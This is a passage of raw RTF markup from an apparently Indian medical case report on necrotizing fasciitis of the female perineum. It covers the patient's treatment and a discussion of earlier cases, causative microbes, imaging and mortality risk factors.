\f0\fs24\insrsid8064714\charrsid202925 \hich\af0\dbch\af31505\loch\f0 M}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 etrogyl)}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\cf1\kerning24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
After initial resuscitation, she was catheterized and IV broad spectrum antibiotics were started. The ulcer was cleaned with turpentine oil in the initial few days to clear the maggots\hich\af0\dbch\af31505\loch\f0 
. Consequently debridement and dressing were done for a period of one month. At that time, the ulcer size decreased, but she was advised skin grafting as part of further treatment}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5979202\charrsid202925 
.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid4071839 \hich\af0\dbch\af31505\loch\f0 (figure2)}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5979202\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0 At this point of time, patient refused any further treatment and i\hich\af0\dbch\af31505\loch\f0 nsisted on discharge. She was }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid5979202\charrsid202925 \hich\af0\dbch\af31505\loch\f0 lost to}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13458794\charrsid202925 \hich\af0\dbch\af31505\loch\f0  follow up.\line 
\par }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid3343549\charrsid202925 
\par 
\par }{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid10372606\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Discussion: -}{\rtlch\fcs1 \ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid15739619\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 
\ab\af0\afs24 \ltrch\fcs0 \b\f0\fs24\insrsid10372606\charrsid202925 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 \hich\af0\dbch\af31505\loch\f0 In 1952, }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10948462\charrsid202925 \hich\af0\dbch\af31505\loch\f0 W}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 \hich\af0\dbch\af31505\loch\f0 ilson coined the term necrotizing fas}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10948462\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
ciitis to describe a rapidly pr}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 \hich\af0\dbch\af31505\loch\f0 ogressive inflammation and necrosis of soft }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid10948462\charrsid202925 \hich\af0\dbch\af31505\loch\f0 tissues. Earlier}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 \hich\af0\dbch\af31505\loch\f0  it was described under the heading of hemolyt
\hich\af0\dbch\af31505\loch\f0 ic gangrene,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10948462\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 streptococcal }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10948462\charrsid202925 \hich\af0\dbch\af31505\loch\f0 gangrene, gangrenous}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  erysipelas,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10948462\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 hospital gangrene,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10948462\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 galloping gangrene,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10948462\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 phagedenic ulcer,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10948462\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 malignant ulcer,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10948462\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10372606\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 putrid ulcer.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid3343549\charrsid202925 \hich\af0\dbch\af31505\loch\f0 2}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9898765\charrsid202925 
\par }\pard \ltrpar\ql \li0\ri0\sb240\sa120\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\itap0\pararsid8733802 \cbpat8 {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\cf17\insrsid8086669\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 There are very few cases reported of necrotizing fasciitis of female perineum worldwide as well as in India\hich\af0\dbch\af31505\loch\f0  .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\cf17\insrsid5181603\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 Khanna et al reported necrotizing fasciitis of lower limb }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\cf17\insrsid1469195\charrsid202925 \hich\af0\dbch\af31505\loch\f0 of 118}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\cf17\insrsid9898765\charrsid202925 \hich\af0\dbch\af31505\loch\f0  cases (78 males and 40 females) with mean age of 45 + 16.5 years (range 12-95 years) admitted to the Department of Surgery, }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\cf17\insrsid12011132\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Benaras Hindu University}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\cf17\insrsid9898765\charrsid202925 \hich\af0\dbch\af31505\loch\f0  in India between 1995 and 2007.}{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9898765\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid13515315\charrsid202925 \hich\af0\dbch\af31505\loch\f0 4}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \b\f0\fs24\lang2057\langfe1033\langnp2057\insrsid1469195\charrsid202925 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \b\f0\fs24\lang2057\langfe1033\langnp2057\insrsid12011132\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\lang2057\langfe1033\langnp2057\insrsid1469195\charrsid202925 \hich\af0\dbch\af31505\loch\f0 A}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\lang2057\langfe1033\langnp2057\insrsid750442\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\lang2057\langfe1033\langnp2057\insrsid13336093\charrsid202925 \hich\af0\dbch\af31505\loch\f0 cas\hich\af0\dbch\af31505\loch\f0 e of a }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\lang2057\langfe1033\langnp2057\insrsid750442\charrsid202925 \hich\af0\dbch\af31505\loch\f0 58 yr old having cervical carcinoma and pubic bone osteomyelitis }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\lang2057\langfe1033\langnp2057\insrsid13336093\charrsid202925 \hich\af0\dbch\af31505\loch\f0 and necrotising fasciitis was described by }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\lang2057\langfe1033\langnp2057\insrsid1469195\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 S}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\lang2057\langfe1033\langnp2057\insrsid13336093\charrsid202925 \hich\af0\dbch\af31505\loch\f0 usim }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\lang2057\langfe1033\langnp2057\insrsid1469195\charrsid202925 \hich\af0\dbch\af31505\loch\f0 K}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\lang2057\langfe1033\langnp2057\insrsid13336093\charrsid202925 \hich\af0\dbch\af31505\loch\f0 uma}{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\lang2057\langfe1033\langnp2057\insrsid1469195\charrsid202925 \hich\af0\dbch\af31505\loch\f0 r}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\lang2057\langfe1033\langnp2057\insrsid13640211\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  and co workers}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\lang2057\langfe1033\langnp2057\insrsid13336093\charrsid202925 \hich\af0\dbch\af31505\loch\f0 (2008).}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\lang2057\langfe1033\super\langnp2057\insrsid5327492\charrsid202925 \hich\af0\dbch\af31505\loch\f0 5}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\cf18\insrsid14574470\charrsid202925 \hich\af0\dbch\af31505\loch\f0 J Sabu Philip}{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\cf18\insrsid5327492\charrsid202925 \hich\af0\dbch\af31505\loch\f0  described a }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\cf18\insrsid9912660\charrsid202925 \~\hich\af0\dbch\af31505\loch\f0 
large abscess that spanned from the umbilicus to the left thigh and vulva area}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\cf18\insrsid12011132\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\cf18\insrsid9912660\charrsid202925 \hich\af0\dbch\af31505\loch\f0 i\hich\af0\dbch\af31505\loch\f0 n a 69 yr old diabetic female}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\cf18\insrsid13640211\charrsid202925 \hich\af0\dbch\af31505\loch\f0 (2012)
}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\cf18\super\insrsid5327492\charrsid202925 \hich\af0\dbch\af31505\loch\f0 6}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\cf18\insrsid1469195\charrsid202925 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\cf19\lang2057\langfe1033\langnp2057\insrsid10059203\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10554959\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Al Jehani Y. described }{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10510528\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Necrotizing fasciitis in a 28 yr old post ceasarean }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8086669\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
woman (}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640211\charrsid202925 \hich\af0\dbch\af31505\loch\f0 2012)}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10510528\charrsid202925 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\super\insrsid10554959\charrsid202925 \hich\af0\dbch\af31505\loch\f0 7}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10554959\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
    Necrotizing fasciitis is a rare presentation in females and is found commonly, in Africa because of cultural practices. It pr\hich\af0\dbch\af31505\loch\f0 ogresses rapidly and has high mortality rate.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\super\insrsid10554959\charrsid202925 \hich\af0\dbch\af31505\loch\f0 1}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0  Mukhopadhayay M et al conducted a }{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid8086669\charrsid202925 \hich\af0\dbch\af31505\loch\f0 clinic }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
pathologic study of necrotizing fasciitis in 50 patients   for a period of a y}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8086669\charrsid202925 \hich\af0\dbch\af31505\loch\f0 ea}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 r 2007-8.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 8}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\cf19\lang2057\langfe1033\super\langnp2057\insrsid10059203\charrsid202925 
\par }\pard \ltrpar\ql \li0\ri0\sa200\sl480\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid8733802 {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3026010\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
Abdominal and perineal infections are caused by}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1469195\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3026010\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 polymicrobial infection}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid1469195\charrsid202925 \hich\af0\dbch\af31505\loch\f0 . T}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3026010\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 he \hich\af0\dbch\af31505\loch\f0 common }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid12011132\charrsid202925 \hich\af0\dbch\af31505\loch\f0 microfloras detected are}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid3026010\charrsid202925 \hich\af0\dbch\af31505\loch\f0  aerobic and }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10554959\charrsid202925 \hich\af0\dbch\af31505\loch\f0 anaerobic gram}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid7816076\charrsid202925 \hich\af0\dbch\af31505\loch\f0  negative }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3026010\charrsid202925 \hich\af0\dbch\af31505\loch\f0 enteric }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid10554959\charrsid202925 \hich\af0\dbch\af31505\loch\f0 bacilli, enterococci, staphylococci}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid3026010\charrsid202925 \hich\af0\dbch\af31505\loch\f0  and streptococci species. }{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9241412\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Malnutrition may be a}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10554959\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid9241412\charrsid202925 \hich\af0\dbch\af31505\loch\f0 predisposing factor.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10554959\charrsid202925 \hich\af0\dbch\af31505\loch\f0  \hich\f0 \lquote \loch\f0 Dishwater}{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9241412\charrsid202925 \hich\af0\dbch\af31505\loch\f0  pus }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10554959\charrsid202925 \loch\af0\dbch\af31505\hich\f0 \lquote }{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid9241412\charrsid202925 \hich\af0\dbch\af31505\loch\f0 is term used to describe mal}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid2644216\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid9241412\charrsid202925 \hich\af0\dbch\af31505\loch\f0 odourous watery thin discharge.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid2644216\charrsid202925 \hich\af0\dbch\af31505\loch\f0  P}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid15351063\charrsid202925 \hich\af0\dbch\af31505\loch\f0 erineal soft tissue infections are seen }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid2644216\charrsid202925 \hich\af0\dbch\af31505\loch\f0 up to 36% of }{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640211\charrsid202925 \hich\af0\dbch\af31505\loch\f0 patients.Idiopathic necrotisig}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid2644216\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13640211\charrsid202925 \hich\af0\dbch\af31505\loch\f0 fasciitis is}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15351063\charrsid202925 \hich\af0\dbch\af31505\loch\f0  reported in 13-31%of cases}{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid2644216\charrsid202925 \hich\af0\dbch\af31505\loch\f0 2}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid2644216\charrsid202925 .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15739619\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 F}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid750442\charrsid202925 \hich\af0\dbch\af31505\loch\f0 emales }{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid8086669\charrsid202925 \hich\af0\dbch\af31505\loch\f0 are}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid750442\charrsid202925 \hich\af0\dbch\af31505\loch\f0  less affect}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 e}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid750442\charrsid202925 \hich\af0\dbch\af31505\loch\f0 d}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  and lower incidence in females was}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13242504\charrsid202925 \hich\af0\dbch\af31505\loch\f0  due to better drainage through vaginal secretions.}{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0  O}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13242504\charrsid202925 \hich\af0\dbch\af31505\loch\f0 n basis of microbiological }{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 examination, it}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13242504\charrsid202925 \hich\af0\dbch\af31505\loch\f0  is divided in two }{\rtlch\fcs1 \af0\afs24 
\ltrch\fcs0 \f0\fs24\insrsid8086669\charrsid202925 \hich\af0\dbch\af31505\loch\f0 types}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13242504\charrsid202925 \hich\af0\dbch\af31505\loch\f0  1 poly}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid8086669\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13242504\charrsid202925 \hich\af0\dbch\af31505\loch\f0 microbial and type 2 which is mono}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid8086669\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid13242504\charrsid202925 \hich\af0\dbch\af31505\loch\f0 microbial.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid8086669\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 I}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13242504\charrsid202925 \hich\af0\dbch\af31505\loch\f0 maging studies such as ultra}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8086669\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid13242504\charrsid202925 \hich\af0\dbch\af31505\loch\f0 sonography detects gas within soft tissues better tha\hich\af0\dbch\af31505\loch\f0 n radiography.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid8086669\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 L}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9119482\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
aboratory risk indicator developed by }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 W}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9119482\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
ong says that score of greater than 6 }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 points, the}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9119482\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  score had appositive predictor }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 value. It}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid9119482\charrsid202925 
\hich\af0\dbch\af31505\loch\f0  considers the c reactive protein, total white cell count hemoglobin sodium serum creatinine and glucose.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 8}{
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid879773\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid750442\charrsid202925 
\par }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5076509\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Ell\hich\af0\dbch\af31505\loch\f0 iot }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 Y }
{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5076509\charrsid202925 \hich\af0\dbch\af31505\loch\f0 et al state that the risk factor for mortality is }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid2310659\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 advanced }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 age, female gender, }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5076509\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 perineal infection}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid2310659\charrsid202925 ,}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 
\af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid2310659\charrsid202925 \hich\af0\dbch\af31505\loch\f0 its extent and site}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid5076509\charrsid202925 \hich\af0\dbch\af31505\loch\f0 
 among a plethora of other risk factors.}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0  L}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid2310659\charrsid202925 
\hich\af0\dbch\af31505\loch\f0 actic acidosis and multiple organ dysfunction predispose }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid10443253\charrsid202925 \hich\af0\dbch\af31505\loch\f0 necrotizing}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0  fasciitis }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid2310659\charrsid202925 \hich\af0\dbch\af31505\loch\f0 patients to }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 death .}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\super\insrsid7942574\charrsid202925 \hich\af0\dbch\af31505\loch\f0 9}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\super\insrsid15018474\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15018474\charrsid202925 \hich\af0\dbch\af31505\loch\f0  Legbo stated}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\f0\fs24\insrsid3346334\charrsid202925 \hich\af0\dbch\af31505\loch\f0  actual incidence of the disease are 2-3 cases being seen}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid15018474\charrsid202925 \hich\af0\dbch\af31505\loch\f0  }{\rtlch\fcs1 
